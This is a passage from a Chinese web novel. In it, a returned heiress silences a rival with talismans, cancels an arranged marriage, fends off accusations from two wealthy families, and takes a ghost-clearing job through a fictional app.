“鹿翎!你给本小姐站住!”是裴淼淼的闺蜜江雨柔。 此刻的她语气里充满愠怒,看向鹿翎的表情都满是憎恶。 鹿翎没理,找上独自还在厨房忙碌的张婶,“早饭我想吃饺子,你随便做就行了。” 张婶敢怒不敢言,只能唯唯诺诺开始干活。 裴家没有吃速冻食品的习惯,他们都是吃现做的,所以鹿翎想吃饺子,张婶只能现做现煮。 鹿翎先去洗漱。 江雨柔本来就不喜欢鹿翎,现在瞧见她这般目中无人,还这么高冷不理人的样子,气瞬间涌上来。 她一路跟着鹿翎到了洗手间。 裴淼淼擦干眼泪,哭了这么久,眼眶都没红一下。 可能怕鹿翎对江雨柔做什么,自己没看见,还是怕自己看不到好戏,自己也跟上去了。 嘴里还在喊到:“雨柔,我没事的...” 江雨柔不管不顾,执意跟上去。 鹿翎腿上,步伐大。 不过十几步就走到卫生间门口。 在江雨柔即将踏进门口,准备骂鹿翎时,玻璃门狠狠撞了上去。 江雨柔吃痛地后退几步,捂住自己的鼻子,眼泪立刻涌出来。 裴淼淼没反应过来,脚就被穿着小高跟后退的江雨柔踩了一脚。 现在她是真哭了。 等鹿翎出来,两人眼眶都红了。 鹿翎表情挺疑惑的:“你们两个站在卫生间门口干什么,没你们想吃的东西。” 江雨柔还有些懵,不明白她话里意思是什么。 等她反应过来后,脸都绿了,她又跟上鹿翎,像个跟屁虫一样,“鹿翎,你说谁喜欢吃屎呢?” 鹿翎拉开凳子,“谁应谁喜欢呗,而且,我又没说屎是你们想吃的啊,这也能把屎盆子扣我头上吗?” 裴淼淼插嘴道:“姐姐,就算你不喜欢雨柔,不喜欢我们,你也不能怎么说。” “知道我不喜欢你们,你们还往我跟前凑,被我骂了又怪在我身上了,你们两个是有受虐倾向吗?”鹿翎很不耐烦。 张婶把煮好的饺子端了上来。 香喷喷热气腾腾的饺子摆在她面前,什么情绪都消失一半了,她摆摆手:“我要吃饭了,你们有多远就滚多远。” “不准吃!”说着,江雨柔就要上来抢鹿翎的碗。 但被鹿翎一筷子打在手背上。 “啊...你敢打我?”江雨柔一脸不可置信。 长这么大,从来没有人打过她。 鹿翎懒洋洋抬起眼皮,眼神凉嗖嗖地看过去。 江雨柔被这眼神看得心里咯噔一下,开口刚想说什么,后瞳孔猛然一缩。 她发不出声音了。 就连嘴巴也张不开了。 江雨柔眼神惊恐地看向裴淼淼。 裴淼淼也不知道发生什么事了。 直到她看见江雨柔指着自己的嘴巴在无声说着什么,她才反应过来。 鹿翎竟然对江雨柔使用符咒了。 她眼珠子转了转,突然叫道:“姐姐,你对雨柔做什么了!她为什么开不了口了?” 鹿翎脸色表情满是疑惑:“什么开不了口了,管我什么事,又不是我做的。” 裴淼淼跺了跺脚,对江雨柔耐心开口:“雨柔,没事的,我马上陪你去医院。” 江雨柔急得眼眶都红了,连连点头。 裴淼淼上楼换件衣服后,马不停蹄地带着江雨柔去了医院。 鹿翎无所谓地耸耸肩。 吃完饭后,准备打车去北郊区傅家。 刚走出大门口,裴管家在身后喊住她:“鹿翎小姐,这么大热天,你去哪?” 鹿翎停下脚步,回头看他:“关你什么事?” 裴管家脸色一阵青一阵白,他深吸口气,强压下心中的怒火,“是这样的鹿翎小姐,先生让我一寸不离地跟着你。” 鹿翎刚想拒绝,但想起那几十块的车费,她点点头:“可以,走吧,我要去北郊区。” 北郊区? 裴管家脸色一变。 北郊区离裴家还是有些远的,来回都要一个多小时接近两个小时,这点时间他来做什么不好,偏偏先生让他跟着这个妖女。 鹿翎自然看出裴管家的不情愿,她微微挑眉,讥讽出声:“怎么?你家先生不是让你跟着我吗?我说去北郊区,你还不快去开车,还愣在这等我去把车开过来吗?” 裴管家敢怒不敢言,只好不情不愿地去地下车库将车开上来。 路过鹿翎时,她还多说了一嘴:“还是裴家的老管家了,连这点眼力见都没有,我看你二十多年的管家白干了。” 裴管家狠狠地瞪了她一眼,没说话。 “看什么看。”鹿翎瞪回去。 裴管家气得咬牙切齿地去开车。 第40章:你奶奶傅老夫人在家吗? 早上。 傅宛然的状态比昨天好太多了,但吃饭也是心不在焉,不知道是不是眼神不好使了,还是什么。 筷子老是夹不到东西。 傅荣华皱皱眉,筷子拍在桌面上,眼神锐利如鹰:“你昨天是不是熬夜了?” 傅宛然被这突如其来的声音吓得一哆嗦,筷子再次掉在地上,她小心翼翼地抬头看向老夫人,正对上她的眼睛,尴尬一笑,“奶...” “发生什么事了。”傅荣华再次问道,但语气比起刚刚要好些。 既然傅荣华开口问了,傅宛然也没有隐瞒的必要,她放下筷子,招手让佣人把她包包拿过来,从里面拿出一本红彤彤的小册子。 傅荣华年纪大了,看不见。 佣人也很眼力见,在傅宛然把东西拿出来后,就把傅荣华的老花镜拿出来,递给她。 “这是什么?”傅荣华问。 傅宛然抿抿唇,没说话。 傅荣华接过,抬头看了眼傅宛然,没说话。 等把小册子拿出来后,看见上面金色丝线绣成的“婚书”两字时,微微一愣,“这是谁的婚书。” “你打开看看就知道了。”傅宛然坐到她身边。 傅荣华打开后,视线直接落到订婚人上,瞳孔猛然一缩。 而就在这时,一道温润的声音穿了进来:“奶奶,小妹,吃过饭没有。” 傅宛然震惊地抬起头,惊讶道:“哥!你怎么来了?” “我来陪你们吃饭。”程烨脱下西装外套,佣人接过去,放在衣架上面。 桌面上很快摆出一副新碗筷。 见奶奶在目不转睛地看着一本红色小册子,有些好奇,“奶奶,你在看什么?” 傅荣华似乎还愣在那,不知道是不是在回忆这本婚书是怎么来的。 傅宛然为哥哥解释道:“婚书。” “什么?什么婚书?”程烨不解。 他们家有人定亲了? 现在这个年头,怎么还有婚书这么古老的东西。 傅宛然点点头:“对,婚书,还是你的婚书。” 程烨本来还抱着看好戏的样子,结果听到最后一句话时,当场愣在原地。 “我想起来了!”傅荣华回过神来,眼睛亮晶晶的,“这是十九年前,我和你爷爷给你哥定下的娃娃亲,哎,你怎么来了?” 看见程烨时,她愣住了。 没想到这小子这么快就来了。 “什么娃娃亲,我怎么不知道?”程烨缓过神来,一把抢过傅老夫人手中的婚书,脸上全是不可置信的表情,目光直接落在最后两排证婚人上,“鹿翎是谁?不是你们怎么没经过我同意,就随便给我定下亲事。” 现在有什么年代了,还实施娃娃亲这一套。 就算要定亲,那也得订一个他认识的吧。 鹿翎是谁? 程烨看婚书,怎么看都不满意。 连带着看傅荣华的眼神也带着不满。 傅荣华自动无视他的眼神,自顾自的说着她和老爷子是这么给程烨定下的这门亲。 程烨越听越不耐烦,最后听到竟然是因为对方的师父是搞符咒,也就是他们年轻一辈说的算命大师时,彻底炸了,不复往日温润如玉的样子。 “奶奶!这些是什么乱七八糟的东西!一个算命骗子而已,你怎么就把我卖了!”程烨不满地嚷嚷。 傅荣华:“什么卖了,好好说话,我给你说,这个姑娘人好的,她家也很不一样,你们相处后,自然会生出感情。” 程烨不管不顾,直接没得商量,“封建迷信罢了,我和这种人呆在一起都生理不适,奶奶,别忘了你的孙子,是国际知名的外科医生,就算回到国内的医院上班,那都是年薪百万,你让我和一个骗子的徒弟联姻,这只会拉低我的层次!” “那你是没的商量了?”傅荣华眉眼冷了下来。 程烨眉眼冷淡地看了傅荣华一眼,什么都没说,拿起衣架上的西装,转身就走,什么都没说。 作为三人中最小的小辈,她自然是没有话语权,看着哥哥离开的背影,欲言又止,目光最后落在傅荣华身上,“奶奶,哥也没说错啊,鹿翎不就是小骗子嘛!” 傅荣华在程烨走后,态度软了下来,她摆摆手,“你懂什么,你根本就不知道鹿翎的师父本事有多大,当年要不是因为她师父未大师,我和爷爷早就命丧黄泉了。” “那你也不能用哥哥的婚姻来当报酬啊。”傅宛然还是不理解。 傅荣华不在多说。 大门外。 鹿翎刚到大门口,一下车就看见从里面出来的程烨。 鹿翎并不意外他在这里。 但程烨倒是挺意外的。 看见鹿翎时,他微微一愣,“你不就是昨天那个因为救人脚崴了的小姐吗?你怎么来了?” 鹿翎眉眼冷淡:“有事,你奶奶傅老夫人在家吗?” “在家,你找她有事吗...”程烨说话声越来越小,他反应过来了。 她怎么知道他有奶奶? 还知道他奶奶姓什么? 她到底是谁? 鹿翎在他说完后,点点头,便抬腿上前。 程烨缓过神来,转头震惊地看着鹿翎,眼中全是惊讶和错愕。 李伯看见鹿翎时,微微一愣:“小师傅,你怎么来了。” 鹿翎,“我来见傅老夫人,麻烦您说一声。” 李伯虽然疑惑,但还是听了鹿翎的话,转身进去找傅荣华了。 傅荣华在听到鹿翎来找她的消息后,也是忙不迭地出来了。 “小师傅,你怎么这么晚就来了,有事吗?”傅荣华跑了出来,脸上立马挂起温和的笑,和刚刚在屋内面对程烨完全不一样。 程烨见状,也是一脸的不敢相信。 程宛然见状,下楼梯,小跑到他旁边,准备拉着他离开。 可不知道程烨怎么了,他一把甩开傅宛然的手,转身就走。 临走前,看着鹿翎说话的背影时,眼神冷漠又疏离,期间还隐隐掺杂着几分厌恶和不屑。 傅宛然不明所以,只觉得他哥挺神经的,小声嘟囔了句:“发病了吧...又没人惹他。” 引擎声和车窗上升隔绝掉鹿翎说话的声音。 走前,程烨还在注视鹿翎的背影,他看见她从包里拿出一本东西。 离得远,看不见。 程烨也没管,直接开车离开。 “傅老夫人,我是来归还程家的东西。” 话音刚落,傅荣华心里咯噔一下,她脸上是温和的笑:“我们进来说话吧,小师傅。” 鹿翎一愣,转头看向裴管家,点了点头。 进院后。 如她心里所想,鹿翎从包里拿出一份红色小册子。 第41章:是鹿翎干的 鹿翎将婚书轻轻放到石桌上,语气平静无波:“傅老夫人,我今天来,是为了退掉我和程烨的婚约。这门亲事是长辈们定下来,而且我和他素不相识,更别提有情谊了,这门婚事实在是不必勉强。” 傅荣华看着那本婚书,脸色微微一变,语气带着几分急切与惋惜,“小师傅,这婚事关乎到当年你师父和我程家的约定,更是我孙子程烨的终身大事,你...不再考虑考虑吗?” 鹿翎轻轻摇头,没有半分犹豫,“不必考虑,我来本就是退婚。” 她顿了顿,补充道:“我和程烨素不相识,毫无感情基础,强行凑在一起,对彼此都是耽误,退掉这门亲事,对你,对我,对程烨,对程家都是好事。” 傅荣华看着眼前少女眼神透亮,一身清冷的模样,心中暗叹。 这孩子心性坚定,绝非寻常人家能拘住的。 “罢了,即你心意已决,我们这些当长辈的也不好勉强。”老夫人收起婚书,招手让佣人把婚书拿走,“只是程烨那孩子...” 鹿翎抬眼,只是淡淡挑眉,并不在意,她摆摆手:“既然这婚事已经退掉了,那没事我就先走了。” 傅荣华还想说什么,鹿翎说完转身就走,一点说话几乎都没给她。 傅荣华叹口气,看着鹿翎的背影还是没说什么。 傅宛然见鹿翎竟然是来退婚的,而且还怎么坦荡地退掉这门亲事,感到有些许震惊。 她原本以为鹿翎会靠这门亲事要挟她哥哥和她结婚,成为程家的夫人,但没想到不是逼迫,而是放弃。 这小丫头片子在打什么主意? 门外,裴管家想个鹅一样,伸长脖子努力往跟前凑,他认出来住在这里的是傅老夫人一家,而刚刚开车离开的是傅老夫人的儿子程烨,站在程烨旁边的就是程家大小姐,程烨的亲妹妹傅宛然。 亲兄妹为什么是两个不同的姓,是因为傅老爷子是入赘到傅家的,而程烨和傅宛然的父亲也是入赘到傅家的。 傅氏夫妇早就商量好第一个孩子跟着父亲姓,第二个孩子就跟着母亲姓。 刚好第一个孩子就是男孩,程父有意将程烨培养成傅家继承人,但偏偏程烨志不在此,他去学医当医生了,还成为了国际知名外科大夫了。 傅母也不会强迫自己孩子,就随他去了。 再过几年,第二个孩子出生了,是个女孩,跟着母亲姓。 也因为这个孩子,傅母子宫受损严重,不再适合生育,这个女孩自然成为傅家的继承人。 程父自然不乐意,但他是上门女婿,这些轮不到他做主。 傅老夫人傅荣华就把傅宛然接到自己身边养着,当继承人。 这些情况在豪门圈都传遍了。 他这个当管家的人也多多少少知道一些。 鹿翎出来后,裴管家就把他的脖子收回去,恢复正常形态。 鹿翎瞥了他一眼,没说话。 “鹿翎小姐,准备回去了吗?” 鹿翎“嗯”了一声。 —— 医院。 江雨柔拿上自己的身份证,在裴家的私人医院办了一套全身体检。 一整套做完发现自己什么病都没有,反而被医生阴阳一句,是不是脑子有问题了。 其实医生说的不是这个意思,他只是问是不是最近精神压力过大而导致的失语症。 而且语气十分的友好,表情也很诚恳。 但江雨柔却认为,这不就是变相在说她脑子有问题吗? 气得江雨柔在办公室大闹一场,因为不会说话,她把手边能碰到的东西统统甩了出去,不能碰到的,站起来走到面前丢。 办公室被她闹得面目全非,医生还被误伤了,额头上被江雨柔甩出去的笔筒砸出个大包。 这种情况医生本来是打电话叫保安的,但很不巧,这是裴家的私人医院。 不仅没能把打人的江雨柔赶出去,还让自己这个受害者向加害者低头道歉。 江雨柔和裴淼淼被带进接待室,院长低头哈腰的,“抱歉啊,大小姐,是我们管理不周,让江小姐受到这么严重的心里创伤,我一定会好好教育那个医生的,扣他半年工资,您看怎么样?” 江雨柔坐在裴淼淼旁边,靠在她身上,眼睛无神,又在流泪。 裴淼淼叹口气,“朴院长,这不是扣不扣钱的问题,这明明是态度的问题,谁让他说话不过脑子的?哎,算了,都不容易。” 她微微侧头,低垂着看雨柔,“只扣他三个月的工资怎么样?” 江雨柔没说话,眼神依旧无神。 裴淼淼继续叹气,她摆摆手:“算了算了,只扣三个月的工资就行了。” 院长像个狗腿子一样:“还是大小姐和江小姐大气。” 在医院找不到病症,她知道这一定是鹿翎的手段,但现在抓不到半点证据,只能憋着一肚子火,裴淼淼只好把江雨柔送回江家。 裴淼淼看着失魂落魄的江雨柔,心里虽不耐烦,却还是装出担忧模样,抬手轻轻拍着她的背,“雨柔,别难过了,我们先回家,让叔叔阿姨看看,一定能治好你。” 江雨柔泪眼婆娑,只能拼命点头,喉咙里发不出半点省高院,只能用怨毒的眼神死死盯着医院大门,仿佛那是鹿翎的脸。 裴淼淼扶着她上了车,一路沉默驶向江家别墅。 裴淼淼在医院的时候就打电话通知了江家父母,本来说是来医院的,但裴淼淼说先送她回家,所以两人就站在家门口等着。 裴家和江家在一个别墅区,离得很近。 车子刚停稳,江母就快步冲了出来,一把拉开车门,“淼淼,我家雨柔怎么样了?” 江雨柔刚下车,江母就看见女儿红肿的眼睛和僵硬的嘴,心瞬间揪紧。 “阿姨,雨柔她...突然说不出话了。”裴淼淼眼眶微红,语气带着愧疚,“都怪我,没看好她,本来我们只是想找我姐姐鹿翎说说话,没想到...没想到她突然说不了话了。” 她刻意模糊了过程,只把矛头对准鹿翎,字字句句都在暗示是鹿翎动的手脚。 江父脸色瞬间阴沉下来。 他是江州有头有脸的人物,自己女儿何曾受过这种委屈,“你说什么?是你姐姐鹿翎干的?” 第42章:找鹿翎算账 裴淼淼低下头,一副为难又不敢多说的模样,欲言又止的样子更让江家父母认定是鹿翎所为。 “岂有此理!”江父气得浑身发抖,“一个从乡下回来的野丫头,刚回裴家就敢这么嚣张,还敢对我女儿下手!裴家就是这么教孩子的?” 江母抱着江雨柔,心疼得直掉眼泪:“我的宝贝女儿,到底是怎么回事啊,你快告诉妈妈!” 江雨柔急得直摆手,指着自己的嘴,又拼命比画着,眼泪掉得更凶。 她想骂鹿翎,想把鹿翎用邪术害她的事说出来,可喉咙像被堵住一般,半点声音都发不出。 “阿姨,您别着急,我们在医院全身上下都检查过了,医生说雨柔身体一点问题都没有,就是...就是说不出话。” 裴淼淼适时开口,语气隐晦,“我怀疑...是鹿翎在山上学的那些歪门邪道。” 这话彻底点燃了江家父母的怒火。 江父当即拿出手机,拨通裴天逸的电话,语气冰冷刺骨:“裴天逸,你给我出来解释清楚!你那个好女儿鹿翎,把我女儿害成哑巴,你裴家必须给我江家一个交代!” 电话那头的裴天逸刚处理完公司事务,听到这话脸色骤变:“老江,你先别激动,这事是不是有误会?阿翎她...” “误会?”江父冷笑,“我女儿好好地去找你家淼淼,回来就成了哑巴,医院查不出任何问题,不是你女儿用邪术害的还能是什么?我告诉你裴天逸,这事没完!要么让鹿翎亲自来我江家道歉,治好雨柔,要么我们江家就和裴家彻底撕破脸!” 不等裴天逸解释,江父直接挂断电话,气得在客厅来回踱步。 江母抱着女儿,满眼怨毒:“那个鹿翎简直是个妖女!裴家怎么就把这种祸害接回来了!不行,我要去找她算账!” “阿姨,你先冲动!”裴淼淼连忙拉住她,“我姐姐脾气不好,还会那些东西,你们现在去找她,万一再被她害了怎么办?我是她的亲妹妹,等我先问问家里的情况吧,然后我们在看看。” 闻言,江母眼中带了些许的感激,“谢谢你啊,淼淼,还在为我们做考虑。” 裴淼淼嘴角挂起满意的弧度:“没关系的江阿姨,雨柔是我最好的朋友,我自然不能让她受委屈,就算这人是我的亲姐姐也不能。” 话音刚落,江雨柔又哭了起来。 江母很欣慰地点头:“我们家雨柔有你这个朋友也算是她三生有幸了。” 就连平时不苟言笑的江父在此刻,脸上也多了些许笑意。 裴淼淼笑笑不说话。 她表面是这种风轻云淡的样子,其实内心早就在暗自得意了。 鹿翎这下彻底得罪了江家,在江州豪门圈算是彻底臭了,裴家也保不住她。 而此刻,裴氏公司。 裴天逸挂了电话,脸色难看到了极点。 他没想到这个鹿翎又惹事了,还惹到了江家头上! 简直是根搅屎棍,惹祸精。 裴天逸又走不开,立马打电话给杨丽华。 杨丽华和她的小姐妹在美容院做护理,看见裴天逸打来电话还有些懵。 “谁打来的电话啊。” “我老公,他现在打电话来干什么?”杨丽华一边说,一边接通电话。 杨丽华本来以为裴天逸打电话是来问她什么时候回家的,没想到是鹿翎那个扫把星又给裴家惹事了。 “江家打电话来,说鹿翎把江雨柔害得失声了,现在江家要我们给交代!”裴天逸揉着眉心,只觉得头疼欲裂。 杨丽华一听,瞬间炸了,她刚想开口骂几句,发现小姐妹在盯着她,眼神全是八卦的好奇,咬咬牙,摆手让护理员下去,自己走到窗前,几乎是咬牙切齿:“又是那个鹿翎!我就说她是个扫把星、妖女!一天到晚就知道惹事,现在还敢对江家小姐下手,我们裴家迟早被她毁了!” “行了!”裴天逸打断她,“现在不是骂人的时候,江家不是好惹的,这事必须解决。” 杨丽华想了想,还是叹口气:“算了,我现在回去给她解决了,谁让我是她的亲生母亲呢。” “这件事无比给我妥善处理好。”裴天逸冷声开口。 在挂断电话前,裴天逸最后提醒杨丽华:“丽华,你知道你是鹿翎的亲生母亲,到时候好好跟她说,别张口闭口就是扫把星,乡巴佬之类的话。” 一想起鹿翎的态度,杨丽华就脑袋疼,她按了按太阳穴,什么都没说,就挂断电话。 转头对自己小姐妹怀有歉意的说道:“不好意思啊,秦夫人,我家里有事就先走了。” 秦夫人的眼神意味深长,她点点头,到也没问是出了什么事。 不过挺心知肚明的。 —— 杨丽华回去的路上脸色都很难看。 回到裴家后,本想冲家里大声囔囔,让鹿翎自己滚下来,但回想起裴天逸说的话,她站在门口,深呼吸好几口气,才敢推门进去。 没看见鹿翎在,裴耀阳和裴泽宇也不在,应该在房间。 张婶和其他女佣在搞卫生。 杨丽华径直走到鹿翎房门,抬手向推进去,手僵在半空,最后还是敲门。 敲了半天,没人应。 杨丽华脾气上来了,想开门进去,发现门把手拧不开。 最开始是敲门,发现根本没人理她。 想直接进去,门把手又拧不开。 最后杨丽华脾气上来了,开始库库砸门,“鹿翎!快给我开门,你听见没有!” 还是没人理。 最终是张婶听见声音,她上来,看见杨丽华这么火大,弱弱开口:“夫人,鹿翎小姐出去了。” “出去了?那你为什么不早点说?”杨丽华气急,把火撒在张婶身上。 张婶唯唯诺诺,不敢说一句。 杨丽华阴沉着脸,下了楼,准备坐在沙发上,等鹿翎回来。 大概过了十分钟,门外传来引擎轰鸣的声音。 鹿翎推开门进来,迎面有一阵风扑面而来。 鹿翎眼神一凝,微微偏过头去。 “砰”的一声。 是东西砸到墙的声音。 紧接着是一声痛呼。 “鹿翎!你个没良心的东西,竟敢躲!” 第43章:玄灵APP 鹿翎冷眼看着手掌自己打在柜子上,疼得龇牙咧嘴的杨丽华,语气淡漠得没有一丝温度,“你自己想打人,还不让人躲了?” 杨丽华气得浑身发抖,指着鹿翎的鼻子尖声骂道:“你这个白眼狼!我是你亲妈,对亲妈敢这个态度?!” “我对你这种态度还少吗?”鹿翎脸上没有一丝表情,冷得像个面瘫。 似乎是想起什么,杨丽华竟然平复好心情,她默默呼吸,调整好心情和态度,语气没有刚刚那般嚣张,“江雨柔的声音是不是你弄的?” 语气虽然带着疑问,但她的表情都写满了笃定。 她笃定这件事就是鹿翎做的,整个家里,只有鹿翎会做这种歪门邪道的事。 鹿翎淡淡扫她一眼,抬脚往客厅走,语气平静得像一潭死水,“什么我弄的?江雨柔失声管我什么事?” “你在我面前装什么听不懂?”杨丽华被她这副无所谓的态度激怒,上前就要拽她的胳膊。 “江雨柔好好地去找淼淼,就因为跟你说了几句话,回来就变成了哑巴!医院查遍了没毛病,不是你用那些歪门邪道害的,还能是谁?我们家就你会这些东西。” 鹿翎轻巧避开她的手,眉梢微挑:“裴夫人,说话要讲证据。她不能说话,跟我有什么关系。” 她语气坦荡,眼神清澈,半点慌乱都没有,倒是显得杨丽华在无理取闹一般。 “你还敢狡辩!”杨丽华气得声音发颤,“淼淼都亲眼看见了,就是你对江雨柔动的手!你这个心狠手辣的东西,我们裴家到底哪里对不起你,你要这么毁我们?” 话音刚落,别墅大门被推开,江父江母带着失魂落魄的江雨柔径直闯进来,身后还跟着一脸“担忧”的裴淼淼。 他们本来打算是要等到杨丽华带上鹿翎找他们道歉,但听裴淼淼说,杨丽华止不住鹿翎,所以带上人,亲自来找鹿翎了。 江父一进门就脸色铁青,目光扫过客厅所有人,最后落在站在杨丽华身边的少女身上,“你就是鹿翎?” 鹿翎回头看他,“找我有事?” 言罢,江母立刻扑上去,红着眼眶嘶吼,“你这个妖女!你快把我女儿的声音还给她!不然我跟你拼了!” “鹿翎,你把我女儿害成这个样子,今天必须给我们江家一个交代!” 江雨柔站在一旁,眼泪直流,指着自己的喉咙,又狠狠指向鹿翎,满脸怨毒。 裴淼淼立刻上前拉住江母,柔声劝道:“江阿姨,你先别激动,姐姐她不是故意的,她只是一时冲动...” 这话看似劝解,实则坐实了就是鹿翎动的手。 杨丽华立刻上前,对着江家夫妇连连弯腰道歉:“江先生、江夫人,真是对不住,都是我的错,是没教好她,鹿翎,你快给江叔叔江阿姨道歉,把雨柔的嗓子治好!” 她一边道歉,一边用眼神恶狠狠瞪向鹿翎,语气里全是指责,“你看看你,一回来就惹出这么大的祸!江家是什么人家,你也敢动手?你到底有没有把我们裴家放在眼里!” 其实裴家和江家是同一阶级的人,但奈何是鹿翎做错的事,鹿翎又是裴家的小姐他们这些当父母的自然要给孩子们擦屁股。 不过,这对爱面子的杨丽华来说,是极其屈辱的事。 江家三口、裴家佣人,就连在房间里打游戏的裴耀阳和裴泽宇出来看好戏。 所有人的目光集中在鹿翎身上。 指责、愤怒、怨毒、看好戏... 鹿翎环着手臂,神色淡漠地扫过众人,最后落在江雨柔身上,轻轻一笑,“江小姐不能说话,我很抱歉。但这事,真不是我做的。” “不是你是谁?!”江父厉声呵斥,“淼淼亲眼看见你跟她起冲突,转眼她就哑了,你还想抵赖?” 裴淼淼低下头,一副委屈又害怕的模样,“姐姐,当时...你确实是你砰了雨柔一下,她就说不出话来...我不是故意揭发你的,我只是不想你一错再错。” “哦?”鹿翎挑眉,目光凉凉地落在她身上,“我碰她一下?裴淼淼,饭可以乱吃,话可不能乱说。我今天出门前,她在卫生间门口堵我,对我大呼小叫,在我吃饭的时候抢我的筷子,我都没说什么。” 她语气平淡,却带着一股不容置疑的气场,目光扫过众人,“她自己情绪激动,急火攻心失声,或是天生咽喉隐疾发作,凭什么一口咬定就是我害的?” “还是说,你招惹了不该招惹的东西?”这话,鹿翎说得极为隐晦,她挑挑眉,语气中带着漫不经心。 话音刚落,在场人都愣住了。 尤其是裴淼淼和江雨柔,这两人反应最大。 杨丽华反应过来,立刻就急了,“鹿翎,你还敢胡说!” 鹿翎没说话,目光先是看向江家三口人,移向杨丽华身上,再转到站在三楼的裴泽宇两兄弟身上,最后是落在一脸惊恐的裴淼淼,微微弯了弯唇。 其余的什么都没说,转身上了楼。 等江家夫妇反应过来,鹿翎已经上楼了。 两人都要气死了,但偏偏拿鹿翎又没有办法。 最后还是杨丽华好说歹说,把江家三人劝走。 房间内。 鹿翎回想起自己目光经过的所有地方,微微皱眉。 有点古怪,但不多。 她走到桌子面前,放在旁边的工作机弹出一条消息。 拿起来看了眼,还以为是哪个雇主找她售后,没想到是一个系统通知。 【玄灵:特级黄符纸、静心朱砂、医用符材已上架,库存有限,先到先得 她退出去,再重新登录。 鹿翎眸色微动,这才后知后觉想起,她之前被裴家闹得心烦,竟把买医用符纸这事忘得一干二净。 点开玄灵APP,没有复杂的主页装饰和其他东西,只有很简单的功能分布,鹿翎点开法器商城那一栏,里面的布置其实和那个网上那些购物软件没有一点区别。 在上面买了一叠医用类符纸后,付款。 三秒后,页面显示付款成功的画面。 第44章:城中村 十分钟后,一名身穿黑衣黑裤并带着黑色帽子的青年很突兀地出现在裴家别墅门口。 他手上端起个黑色纸盒子,上面还贴着张标签: 【非买者,误碰!】 放在门口,拿出手机,给鹿翎打个电话过去,“您好,你的快递到了。” 鹿翎此刻正坐在窗台边缘。 对,没错。 是窗台边缘。 背对窗外,接到电话后,她也没挪动半步,“知道了,你放门口就行了,我等会来拿。” “好的。”对方挂断电话。 三秒钟,鹿翎手机里收到一张图片。 是快递盒子放在地上的照片。 不过,她现在没打算去拿。 送完快递后,鹿翎继续背对窗外,继续干她该干的事。 裴家现在已经没人了,杨丽华气得出去了,裴淼淼陪她外出散心,家里只有裴泽宇和裴耀阳在。 裴泽宇刚哼着歌走到门口,一眼就瞥见门口的黑色盒子,眉头瞬间皱紧。 “什么东西挡路?” 裴泽宇凑近一眼,收件人的名字只有一个翎字。 翎? 不就是鹿翎的翎吗? 她的东西啊... 他抬脚就想把盒子踢开,结果“咚”的一声闷响,脚像是踢在了千斤巨石一般,震得他整条腿发麻,重心不稳,整个人直接滚下台阶,狼狈地摔在草坪上。 “嘶——”裴泽宇疼得龇牙咧嘴,爬起来揉着脚,又惊又恐,“什么鬼东西这么沉,鹿翎那妖女买的什么东西?” 他不服气,上前双手抓住盒子边缘,咬牙发力,脸憋得通红,盒子却纹丝未动,连挪都不带挪动一下的。 “还真邪门了...”裴泽宇气得又踹两脚,但这次他长心眼了,没用力。 他越想越气,正要招呼佣人来帮忙一起把这破箱子搬走,门口忽然传来一道清冷的声音。 “谁让你碰我东西的?” 鹿翎不知道什么时候站在门口,双手抱臂,放在胸前,眉眼淡漠地看着他,眼神中带着明晃晃的冷意。 裴泽宇一愣,像是被人捉到做了错事一样,红色以肉眼的速度从脖子蔓延到脸和耳朵,“谁让你随便把东西乱丢的,我还说给你丢出去。” “给我丢出去?”听到这,鹿翎像是听到什么笑话一样,眼神里带着嘲笑,“你抱得动它吗?” 裴泽宇被她这眼神看着又是一阵害臊。 他要是连个盒子都抱不动,他那这十九年就白活了。 鹿翎懒得跟他废话,目光冷了几分,“我的东西,你最好别碰。再乱动,后果自负。” 那眼神凉飕飕的,带着一股无形的压迫感。 裴泽宇下意识后退一步,竟不敢还嘴。 下一秒,鹿翎弯腰,单手扣住黑盒子边缘,轻轻一抬。 这个重得让裴泽宇束手无策的盒子,竟然被她轻轻松松地拎起来了,稳稳妥妥地夹在鹿翎的膝下。 全程面不改色,连呼吸都没乱一下。 裴泽宇当场僵在原地,眼睛瞪得老大,满脸难以置信。 不可能啊... 他刚才用尽全身力气都纹丝未动的盒子,她单手就拎起来了? 这到底是个什么东西? 鹿翎夹着快递,临走前,目光带着鄙夷地看了他一眼,径直走进别墅。 看不起的眼神让裴泽宇火大。 他竟然被妖女看不起了。 刚准备追上去,好好辱骂鹿翎一番,结果没想到,他刚上前一步,“砰”的一声,大门被关上了,自己鼻子还被撞了。 —— 回到房间,鹿翎拆开快递,里面是一叠黄符纸和朱砂,不过这叠黄符纸和以前不太一样。 现在买了这些符纸和朱砂,裴天逸给她的那点出场费根本不够用,买材料都得花钱,上次傅老夫人给她的报酬,她也用到其他地方上去了。 鹿翎再次点开玄灵APP。 玄灵APP除了买法器,有商城功能外,还有匿名接单、悬赏大厅、定位捉妖、担保交易等多项功能。 匿名接单刷新着各种任务,从普通的家居净宅、驱邪安神,到风水堪舆、阴物化解。 每个任务都会按照难度进行划分,从最低级的E到高级的A,最后就是顶级的S。 难度划分清晰,酬金也是几百到几万,十几万,百万,千万不等。 任务备注里大多数写着“夜间异响”“小孩夜哭”“运势低迷”“老宅闹鬼”,全是寻常人解决不了的怪事。 她大概全都扫了一眼,顺手筛选了江州本地、夜间可做、酬金八千以上的单子。 秒钟后,有两个单子弹了出来。 其中一个已经灰掉了。 这种就是接了,完成的单子。 鹿翎一看,北郊区四合院。 这不就是傅荣华的家吗? 看样子,这个单子是未明子在这上面给她接的。 直接掠过它。 另一个单子引起她的注意。 【带拆迁老小区】 【等级:D级】 【任务:夜间频繁响动,水龙头和电视机自动开起,白影晃动,求净宅驱邪。】 【酬金:8888元】 【地址:城中村·红光小区】 地点偏僻、阴气不重、难度低、酬金合适、解决时间断,是她现在需要的快速单。 鹿翎直接点下接单。 系统秒回:【接单成功!雇主联系方式已发送,请注意安全,完成后上传验收截图即可结算。】 她收起手机,把自己原来画好的净宅符、安魂符、驱邪符各拿一张,全部塞进她随身携带的帆布小包里,准备晚上直接过去。 —— 傍晚七点多,天色刚暗下来。 鹿翎避开回来的裴家人,从二楼自己房间的窗台上跳下来,再悄无声息地翻过栏杆。 城中村离这里挺远的,打车是不存在的,十块她都嫌贵,更别说二三十块了。 这简直是相当于要了她的命。 当然,这是在她有余钱的基础上。 相比起钱,符咒还是比较符合她的心意。 鹿翎拿出一张疾行符贴在脚踝,指尖掐诀轻念咒语,身形瞬间化作一道轻影,朝着红光小区疾驰而去。 夜色渐浓,这片待拆的老小区早就没有几户人家,断壁残垣在月光下显得格外阴森。 